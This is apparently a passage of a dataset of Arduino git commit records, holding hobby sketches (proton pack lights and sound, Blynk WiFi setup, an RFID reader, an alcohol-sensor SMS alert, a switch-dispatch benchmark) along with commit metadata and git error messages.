\n Serial.print(F(\"Free RAM: \"));\n Serial.println(freeRam()); \/\/ if this is under 150 bytes it may spell trouble!\n\n \/\/ Make input & enable pull-up resistors on switch pins\n pinMode(power_button, INPUT_PULLUP);\n pinMode(firing_button, INPUT_PULLUP);\n pinMode(aux_button, INPUT_PULLUP);\n\n \/\/ Set pins for shift registers:\n pinMode(latchPin, OUTPUT); \/\/ shared between power cell and thrower\n pinMode(clockPinPWR, OUTPUT);\n pinMode(clockPinWand, OUTPUT);\n pinMode(dataPinPWR, OUTPUT);\n pinMode(dataPinWand, OUTPUT);\n \/\/ Initialise Power cell and Wand lights\n initialise_lights();\n\n \/\/ softwareserial at 9600 baud\n ss.begin(9600);\n \/\/ can also do Serial1.begin(9600)\n \n if (!sfx.reset()) {\n Serial.println(\"Not found\");\n while (1);\n }\n Serial.println(\"SFX board found\");\n uint8_t files = sfx.listFiles();\n \n Serial.println(\"File Listing\");\n Serial.println(\"========================\");\n Serial.println();\n Serial.print(\"Found \"); Serial.print(files); Serial.println(\" Files\");\n for (uint8_t f = 0; f < files; f++) {\n Serial.print(f); \n Serial.print(\"\\tname: \"); Serial.print(sfx.fileName(f));\n Serial.print(\"\\tsize: \"); Serial.println(sfx.fileSize(f));\n }\n Serial.println(\"========================\");\n}\n\n\nvoid loop() {\n audio_playing = digitalRead(ACT); \/\/ False if audio playing.\n pack_state(); \/\/ all the \"magic\" is done in this function\n if (previous_pack_state != current_pack_state) {\n Serial.print(F(\"STATE: \"));\n Serial.println(current_pack_state);\n }\n}\n\n\n\/\/ ===============================================================================================\n\/\/ State machine\n\/\/ ===============================================================================================\nvoid pack_state() {\n previous_pack_state = current_pack_state;\n switch (current_pack_state) {\n case 0: \/\/ Pack default state & reset variables\n \/\/overheat_array_pos = 0;\n firing_interval = max_firing_interval;\n wand_overheat_cycles = max_wand_overheat_cycles;\n current_pack_state = 1; \/\/ next cycle move onto Start state\n break;\n \n case 1: \/\/ Start\n power_button_state = digitalRead(power_button);\n if (power_button_state == LOW) { \/\/ power switch pressed.\n if (first_power_up) {\n playAudio(power_on_snd, audio_playing);\n Serial.println(F(\"First power on of pack.\"));\n first_power_up = 0;\n }\n else {\n current_pack_state = 2;\n }\n }\n break;\n \n case 2: \/\/ Powered on\n power_button_state = digitalRead(power_button);\n firing_button_state = digitalRead(firing_button);\n \/\/ After playing power up play pack hum on loop:\n if ( (power_button_state == LOW) && (audio_playing == 1) ) {\n playAudio(hum_snd, audio_playing);\n }\n if (power_button_state == HIGH) {\n playAudio(power_down_snd, audio_playing);\n first_power_up = 1;\n current_pack_state = 3; \/\/ Next cycle power down.\n }\n if (firing_button_state == LOW) {\n playAudio(firing_snd, audio_playing);\n current_pack_state = 4; \/\/ Next cycle run firing routine.\n }\n powered_on();\n break;\n\n case 3: \/\/ Power down\n powered_down();\n break;\n\n case 4: \/\/ Firing\n power_button_state = digitalRead(power_button);\n firing_button_state = digitalRead(firing_button);\n if ((power_button_state == HIGH) && (firing_button_state == LOW)) {\n current_pack_state = 3;\n }\n if (firing_button_state == HIGH) {\n playAudio(stop_firing_snd, audio_playing);\n current_pack_state = 5;\n }\n firing();\n break;\n\n case 5: \/\/ End firing\n current_pack_state = 2;\n break;\n \n case 6: \/\/ Overheat\n power_button_state = digitalRead(power_button);\n firing_button_state = digitalRead(firing_button);\n if (firing_button_state == HIGH) {\n playAudio(stop_firing_snd, audio_playing);\n overheat_array_pos = 0;\n current_pack_state = 2;\n }\n overheat();\n break;\n\n case 7: \/\/ Overheat lockout (pack shuts down until vented)\n firing_button_state = digitalRead(firing_button);\n if (firing_button_state == HIGH) {\n playAudio(vent_snd, audio_playing);\n if (audio_playing == 1) {\n current_pack_state = 0;\n }\n }\n break;\n \n }\n}\n\n\n\/\/ ===============================================================================================\n\/\/ Pack states\n\/\/ ===============================================================================================\nvoid initialise_lights() {\n digitalWrite(latchPin, 0);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, B11000000); \/\/ First 8 LEDs\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, B00000000); \/\/ Second 8 LEDs\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, B01000000);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, B00000000);\n digitalWrite(latchPin, 1);\n}\n\n\nvoid powered_on() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > pwrcl_interval) {\n previousMillis_on = currentMillis;\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \n \/\/ Load the light sequence from arrays then send data to shift registers:\n dataPwrCell = pgm_read_word_near(PwrCell + power_cell_array_pos);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n power_cell_array_pos++;\n dataPwrCell = pgm_read_word_near(PwrCell + power_cell_array_pos);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n \n dataWand = pgm_read_word_near(Wand + wand_array_pos);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWand);\n wand_array_pos++;\n dataWand = pgm_read_word_near(Wand + wand_array_pos);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWand);\n \n digitalWrite(latchPin, 1); \/\/ high to make shift register output data.\n \n power_cell_array_pos++;\n if (power_cell_array_pos > 29) {\n power_cell_array_pos = 0;\n }\n wand_array_pos++;\n if (wand_array_pos > 49) {\n wand_array_pos = 0;\n }\n }\n}\n\n\nvoid powered_down() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > off_interval) {\n previousMillis_on = currentMillis;\n if (wand_array_pos != power_cell_array_pos) {\n wand_array_pos = power_cell_array_pos;\n }\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Load the light sequence from arrays then send data to shift registers:\n dataPwrCell = pgm_read_word_near(PwrCell + power_cell_array_pos);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n dataPwrCell = pgm_read_word_near(PwrCell + (power_cell_array_pos + 1));\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n \n dataWand = pgm_read_word_near(Wand + wand_array_pos);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWand);\n dataWand = pgm_read_word_near(Wand + (wand_array_pos + 1));\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWand);\n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n \n power_cell_array_pos -= 2;\n if (power_cell_array_pos < 0) {\n power_cell_array_pos = 0;\n current_pack_state = 0;\n }\n wand_array_pos -= 2;\n if (wand_array_pos < 0) {\n wand_array_pos = 0;\n current_pack_state = 0;\n }\n }\n}\n\n\nvoid firing() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > firing_interval) {\n previousMillis_on = currentMillis;\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \n dataPwrCell = pgm_read_word_near(PwrCell + power_cell_array_pos);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n power_cell_array_pos++;\n dataPwrCell = pgm_read_word_near(PwrCell + power_cell_array_pos);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n\n dataWandON = pgm_read_word_near(WandON + wand_active_array_pos);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWandON);\n wand_active_array_pos++;\n dataWandON = pgm_read_word_near(WandON + wand_active_array_pos);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWandON);\n \n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n \n power_cell_array_pos++;\n if (power_cell_array_pos > 28) {\n firing_interval--;\n Serial.print(F(\"Firing interval: \"));\n Serial.println(firing_interval);\n power_cell_array_pos = 0;\n }\n wand_active_array_pos++;\n if (wand_active_array_pos > 28) {\n wand_active_array_pos = 0;\n }\n if (firing_interval == min_firing_interval) {\n playAudio(overheat_snd, audio_playing);\n wand_active_array_pos = 0;\n current_pack_state = 6;\n }\n }\n}\n\n\nvoid overheat() {\n currentMillis = millis();\n if (currentMillis - previousMillis_fire > firing_interval) {\n previousMillis_fire = currentMillis;\n digitalWrite(latchPin, 0); \/\/ Low to send data\n\n dataWandON = pgm_read_word_near(WandON + wand_active_array_pos);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWandON);\n wand_active_array_pos++;\n dataWandON = pgm_read_word_near(WandON + wand_active_array_pos);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWandON);\n \n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n\n wand_active_array_pos++;\n if (wand_active_array_pos > 28) {\n wand_active_array_pos = 0;\n }\n }\n if (currentMillis - previousMillis_on > overheat_interval) {\n previousMillis_on = currentMillis;\n \/*\n \/\/ 5x wand cycles for every powercell cycle\n for (wand_overheat_cycles = 0; wand_overheat_cycles < max_wand_overheat_cycles; wand_overheat_cycles++) {\n Serial.print(\"wand_overheat_cycles: \");\n Serial.println(wand_overheat_cycles);\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \n dataWand = pgm_read_word_near(OHWand1 + wand_active_array_pos);\n Serial.print(dataWand, BIN);\n Serial.print(F(\"|\"));\n if (wand_overheat_cycles % 2 == 0) { \/\/ flip the strobe every other cycle\n dataWand ^= 1 << 7; \/\/ Red firing LED\n }\n Serial.print(dataWand, BIN);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWand);\n \n Serial.print(F(\" || \"));\n \n dataWand = pgm_read_word_near(OHWand2 + wand_active_array_pos);\n Serial.print(dataWand, BIN);\n Serial.print(F(\"|\"));\n if (wand_overheat_cycles % 2 == 1) { \/\/ flip the strobe every other cycle\n dataWand ^= 1 << 0; \/\/ Blue firing LED\n }\n Serial.println(dataWand, BIN);\n shiftOut(dataPinWand, clockPinWand, MSBFIRST, dataWand);\n \n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n }\n wand_active_array_pos++;\n Serial.print(F(\"wand_active_array_pos: \"));\n Serial.println(wand_active_array_pos);\n if (wand_active_array_pos > 28) {\n wand_active_array_pos = 0;\n }\n *\/\n \n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \n \/\/ Load the light sequence from arrays then send data to shift registers:\n dataPwrCell = pgm_read_word_near(OHPwrCell + overheat_array_pos);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n overheat_array_pos++;\n dataPwrCell = pgm_read_word_near(OHPwrCell + overheat_array_pos);\n shiftOut(dataPinPWR, clockPinPWR, MSBFIRST, dataPwrCell);\n \n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n\n overheat_array_pos++;\n if (overheat_array_pos > 26) {\n Serial.println(F(\"Finished overheat cycle.\"));\n overheat_array_pos = 0;\n playAudio(stop_firing_snd, audio_playing);\n initialise_lights();\n current_pack_state = 7;\n }\n }\n}\n\n\nvoid playAudio( char* trackname, int audio_playing ) {\n \/\/ stop track if one is going\n if (audio_playing == 0) {\n sfx.stop();\n }\n\n \/\/ now go play\n if (sfx.playTrack(trackname)) {\n sfx.unpause();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proton_pack_state_machine.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"66947deaf5f6302f9149faf9e0161a52412fd721","subject":"Actulizo fichero de config","message":"Actulizo fichero de config\n\n","repos":"auveele\/esp-mqtt","old_file":"01-persiana\/sketch\/config sample.ino","new_file":"01-persiana\/sketch\/config sample.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '01-persiana\/sketch\/config' did not match any file(s) known to git\nerror: pathspec 'sample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"634d1063b71e243c62c08fae93d33c66b59539ac","subject":"Added RGB light to sketches folder","message":"Added RGB light to sketches folder\n","repos":"ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266","old_file":"Home Automation\/Sketches\/RGBLight\/RGBLight.ino","new_file":"Home Automation\/Sketches\/RGBLight\/RGBLight.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Home' did not match any file(s) known to git\nerror: pathspec 'Automation\/Sketches\/RGBLight\/RGBLight.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"8d00a318388a53ea942ead48928d01b2de4dd520","subject":"Add Feather M0 WiFi example","message":"Add Feather M0 WiFi example\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_WiFi\/Adafruit_Feather_M0_WiFi\/Adafruit_Feather_M0_WiFi.ino","new_file":"examples\/Boards_WiFi\/Adafruit_Feather_M0_WiFi\/Adafruit_Feather_M0_WiFi.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use Adafruit Feather M0 WiFi\n * to connect your project to Blynk.\n *\n * Note: This requires WiFi101 library\n * from http:\/\/librarymanager\/all#WiFi101\n *\n * Feel free to apply it to any other example. It's simple!\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <WiFi101.h>\n#include <BlynkSimpleWiFiShield101.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\nvoid setup()\n{\n Serial.begin(9600);\n\n WiFi.setPins(8,7,4,2);\n\n Blynk.begin(auth, ssid, pass);\n \/\/ Or specify server using one of those commands:\n \/\/Blynk.begin(auth, ssid, pass, \"blynk-cloud.com\", 8442);\n \/\/Blynk.begin(auth, ssid, pass, server_ip, port);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_WiFi\/Adafruit_Feather_M0_WiFi\/Adafruit_Feather_M0_WiFi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9be052e436ae0ccc0d138198854414a8fcec6bb1","subject":"Start work on RFID source","message":"Start work on RFID source\n","repos":"ITatJCU\/iot-dataflow-graph-server,ITatJCU\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,ITatJCU\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server","old_file":"real-devices\/Arduino\/ESP8266\/sources\/rfid-source\/rfid-source.ino","new_file":"real-devices\/Arduino\/ESP8266\/sources\/rfid-source\/rfid-source.ino","new_contents":"\/*\n IoT Dataflow Graph Server\n Copyright (c) 2015, Adam Rehn, Jason Holdsworth\n 2018, Wilson Bow\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n*\/\n\n\/*\n * Great tutorial (most of code copied from here): https:\/\/www.brainy-bits.com\/card-reader-with-an-arduino-rfid-using-the-rc522-module\/\n * Note that SDA pin in this site is actually NSS on our device\n * \n * The MRFC522 library to be used can be found at: https:\/\/github.com\/ljos\/MFRC522\n * This one has been forked and updated from the MRFC522 library from the Library Manager!\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiUDP.h>\n#include <ESP8266MulticastUDP.h>\n#include <SPI.h>\n#include <MFRC522.h>\n\n\/\/The identifier for this node\nconst String& NODE_IDENTIFIER = \"light-source\";\n\n\/\/The interval (in milliseconds) at which input is read\n#define READ_INTERVAL 100\n\n\/\/ Setup the ESP8266 Multicast UDP object as a source\nESP8266MulticastUDP multicast(\"iot-dataflow\", \"it-at-jcu\",\n IPAddress(224, 0, 0, 114), 7070);\n\n\n#define ERROR_PIN 15\n#define NSSPIN 13\n#define RESETPIN 12\n#define MAX_LEN 5\n\nbyte FoundTag;\nbyte ReadTag;\nbyte TagData[MAX_LEN];\nbyte TagSerialNumber[5];\nbyte GoodTagSerialNumber[5] = {0x71, 0xB4, 0x21, 0x32};\n\nMFRC522 nfc(NSSPIN, RESETPIN);\n\nvoid setup()\n{\n \/\/Initialise serial communications\n SPI.begin();\n Serial.begin(115200);\n nfc.begin();\n byte version = nfc.getFirmwareVersion();\n if(!version){\n Serial.print(\"Didn't find RC522 board\");\n while(1);\n }\n\n multicast.begin();\n Serial.print(NODE_IDENTIFIER);\n if (multicast.isConnected()) {\n Serial.println(\" connected to Wifi network\");\n } else {\n Serial.println(\" error: failed to connect to WiFi network!\");\n pinMode(ERROR_PIN, OUTPUT);\n digitalWrite(ERROR_PIN, HIGH);\n }\n}\n\n\n\/\/Reads the current sensor input\n\/\/ Note: a light sensor returns a value 0 (bright light) - 1023 (darkness)\n\/\/ so we adjust the range to be 0 - 100\nint readSource() {\n String GoodTag = \"False\";\n FoundTag = nfc.requestTag(MF1_REQIDL, TagData);\n\n if (FoundTag == MI_OK){\n delay(200);\n\n ReadTag = nfc.antiCollision(TagData);\n memcpy(TagSerialNumber, TagData, 4);\n Serial.println(\"Tag detected.\");\n Serial.print(\"Serial Number: \");\n for (int i = 0; i < 4; i++){\n Serial.print(TagSerialNumber[i], HEX);\n Serial.print(\", \");\n }\n Serial.println(\"\");\n Serial.println();\n }\n\n for(int i = 0; i < 4; i++){\n if(GoodTagSerialNumber[i] != TagSerialNumber[i]){\n break;\n }\n if (i == 3){\n GoodTag = \"True\";\n }\n }\n if (GoodTag == \"True\"){\n Serial.println(\"Success!\");\n return 1;\n } else {\n Serial.println(\"Tag not accepted :(\");\n return 0;\n }\n}\n\nvoid loop()\n{\n if (multicast.isConnected())\n {\n String message = String(NODE_IDENTIFIER) + \"\\n\" + readSource();\n multicast.write(message);\n delay(READ_INTERVAL);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'real-devices\/Arduino\/ESP8266\/sources\/rfid-source\/rfid-source.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c829d4fe157b6a293ef886345fc41f7081f8f70","subject":"New Arduino code added","message":"New Arduino code added\n","repos":"pennestri\/mq3","old_file":"arduino\/mq3_shield\/mq3_shield_4_newton.ino","new_file":"arduino\/mq3_shield\/mq3_shield_4_newton.ino","new_contents":"#include <LiquidCrystal.h>\n#include <OneSheeld.h>\n#include <GPSShield.h>\n#include <SMSShield.h>\nLiquidCrystal lcd(6, 7, 10, 11, 12, 13);\nint buttonState = 0; \nboolean isMessageSent = false;\nfloat get_latitude ;\nfloat get_longitude ;\nString latitude ;\nString longitude ;\nString sms_text ;\nfloat volt_2_gl(float v){\n float a = 2.64581 ;\n float b = 0.59843 ;\n float gl = (v-a)\/b ;\n return gl ;\n}\nvoid setup() {\n OneSheeld.begin(); \/\/ Start communication with 1Sheeld\n lcd.begin(1, 2);\n pinMode(9, INPUT);\n pinMode(4, OUTPUT);\n lcd.print(\"P. Pennestri'\");\n lcd.setCursor(0, 1);\n lcd.print(\"L.S.S. I. Newton\");\n delay(3000);\n lcd.clear();\n lcd.print(\"Warming Up\");\n lcd.setCursor(0, 1);\n lcd.print(\"Don't Breath\"); \n delay(30000);\n lcd.clear();\n}\n\nvoid loop() {\n buttonState = digitalRead(9); \/\/ read the state of the pushbutton value\n if (buttonState == HIGH) { \n isMessageSent = false;\n lcd.print(\"Breath in\");\n delay(15000);\n delay(15000);\n delay(15000);\n delay(5000);\n lcd.clear();\n digitalWrite(4, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(4, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n int mq3_value1 = analogRead(A5);\n float voltage1 = mq3_value1 * (5.0 \/ 1023.0); \/\/ get mq3 voltage \n \n if(voltage1<2.42){\n lcd.print(\"No alcohol\");\n lcd.setCursor(0, 1);\n lcd.print(\"You can drive \");\n delay(15000);\n lcd.clear();\n }\n \n if(voltage1>=2.42){\n float response = volt_2_gl(voltage1);\n \/\/ send sms if response >= 0.5 g\/l\n lcd.print(response);\n lcd.print(\" g\/l\");\n lcd.setCursor(0, 1);\n lcd.print(\"DO NOT DRIVE!\");\n delay(15000);\n delay(15000);\n delay(15000);\n delay(5000);\n lcd.clear();\n \n if(response>=0.5){\n \n if(!isMessageSent)\n { \n lcd.print(\"SMS Sent\");\n lcd.clear();\n get_latitude = GPS.getLatitude();\n latitude = String(get_latitude);\n get_longitude = GPS.getLongitude();\n longitude = String(get_longitude);\n sms_text = \"I need HELP \\n pick me up at \\n https:\/\/www.google.it\/maps\/place\/\" + latitude + \"+\" + longitude ; \n \n SMS.send(\"3511012085\", sms_text); \/\/ send sms\n isMessageSent = true; \/\/ Set the flag. \n delay(10000);\n }\n \n }\n \n lcd.print(\"Going to idle state\");\n lcd.setCursor(0, 1);\n lcd.print(\"Don't Breath\");\n delay(15000);\n delay(15000);\n delay(15000);\n delay(5000);\n }} else{\n lcd.print(\"Ready to Start\");\n delay(1000);\n lcd.clear();\n }\n\n\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/mq3_shield\/mq3_shield_4_newton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aaec435129870ad3d2e17a43529db7d93f5f0dcc","subject":"replace approximation table size by macro","message":"replace approximation table size by macro\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"ex01\/ex01.ino","new_file":"ex01\/ex01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"d306eb57c2e219007a170cec6673fdad2f528224","subject":"Add I2C interface to external mouse device","message":"Add I2C interface to external mouse device\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"1a26a63ca0d16d9aeac3d7fbf2bb1069c48e61bb","subject":"Add scroll wheel message","message":"Add scroll wheel message\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"5846a2d321ded7f9f11018189934c145b7d83d27","subject":"Adding test of optimization strategy for switch statements.","message":"Adding test of optimization strategy for switch statements.\n","repos":"jeditekunum\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,dansut\/Cosa,kc9jud\/Cosa,dansut\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa","old_file":"examples\/Sandbox\/CosaSwitch\/CosaSwitch.ino","new_file":"examples\/Sandbox\/CosaSwitch\/CosaSwitch.ino","new_contents":"\/**\n * @file CosaSwitch.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Testing code generation of switch statements.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nenum {\n OP_ADD,\n OP_SUB,\n OP_MUL,\n OP_DIV,\n OP_REM,\n OP_LOAD,\n OP_STORE,\n OP_BRA,\n OP_BRZ,\n OP_CALL,\n OP_EXIT\n};\n\n\/\/ Traditional switch statement will compile to if-else if\n#define DISPATCH(op) switch (op)\n#define OP(x) case OP_ ## x:\nint switch_fn(uint8_t op)\n{\n int res = 0;\n DISPATCH(op) {\n OP(ADD)\n res = 1;\n break;\n OP(SUB)\n res = 2;\n break;\n OP(MUL)\n res = 3;\n break;\n OP(DIV)\n res = 4;\n break;\n OP(REM)\n res = 5;\n break;\n OP(LOAD)\n res = 6;\n break;\n OP(STORE)\n res = 7;\n break;\n OP(BRA)\n res = 8;\n break;\n OP(BRZ)\n res = 9;\n break;\n OP(CALL)\n res = 10;\n break;\n OP(EXIT)\n res = 11;\n break;\n }\n return (res);\n}\n#undef OP\n#undef DISPATCH\n\n\/\/ Table driven switch statement using gcc goto extension and program memory table\n#define OP(x) DO_ ## x:\n#define DISPATCH(op) goto *pgm_read_word(&tab[op]); for (uint8_t i = 0; i < 1; i++)\nint goto_fn(uint8_t op)\n{\n \/\/ Label address table\n static const void* tab[] __PROGMEM = {\n &&DO_ADD,\n &&DO_SUB,\n &&DO_MUL,\n &&DO_DIV,\n &&DO_REM,\n &&DO_LOAD,\n &&DO_STORE,\n &&DO_BRA,\n &&DO_BRZ,\n &&DO_CALL,\n &&DO_EXIT\n };\n int res = 0;\n\n \/\/ Switch implementation with table and do-while(0) loop to allow break\n DISPATCH(op) {\n OP(ADD)\n res = 1;\n break;\n OP(SUB)\n res = 2;\n break;\n OP(MUL)\n res = 3;\n break;\n OP(DIV)\n res = 4;\n break;\n OP(REM)\n res = 5;\n break;\n OP(LOAD)\n res = 6;\n break;\n OP(STORE)\n res = 7;\n break;\n OP(BRA)\n res = 8;\n break;\n OP(BRZ)\n res = 9;\n break;\n OP(CALL)\n res = 10;\n break;\n OP(EXIT)\n res = 11;\n break;\n }\n return (res);\n}\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaGoto: started\"));\n Watchdog::begin();\n RTC::begin();\n}\n\nvoid loop()\n{\n uint32_t start, stop, us;\n uint8_t* switch_fn_addr = (uint8_t*) switch_fn;\n uint8_t* goto_fn_addr = (uint8_t*) goto_fn;\n uint8_t* loop_addr = (uint8_t*) loop;\n size_t switch_fn_size = goto_fn_addr - switch_fn_addr;\n size_t goto_fn_size = loop_addr - goto_fn_addr;\n int res;\n\n \/\/ Measure traditional switch statement version\n TRACE(switch_fn_addr);\n TRACE(switch_fn_size);\n for (uint8_t op = OP_ADD; op <= OP_EXIT; op++) \n TRACE(switch_fn(op));\n start = RTC::micros();\n res = 0;\n for (int i = 0; i < 1000; i++)\n for (uint8_t op = OP_ADD; op <= OP_EXIT; op++)\n res += switch_fn(op);\n stop = RTC::micros();\n us = stop - start;\n TRACE(res);\n TRACE(us);\n start = RTC::micros();\n for (int i = 0; i < 10000; i++)\n for (uint8_t op = OP_LOAD; op <= OP_EXIT; op++)\n res += switch_fn(op);\n stop = RTC::micros();\n us = stop - start;\n TRACE(res);\n TRACE(us);\n\n \/\/ Measure goto-label table version\n TRACE(goto_fn_addr);\n TRACE(goto_fn_size);\n for (uint8_t op = OP_ADD; op <= OP_EXIT; op++) \n TRACE(goto_fn(op));\n start = RTC::micros();\n res = 0;\n for (int i = 0; i < 1000; i++)\n for (uint8_t op = OP_ADD; op <= 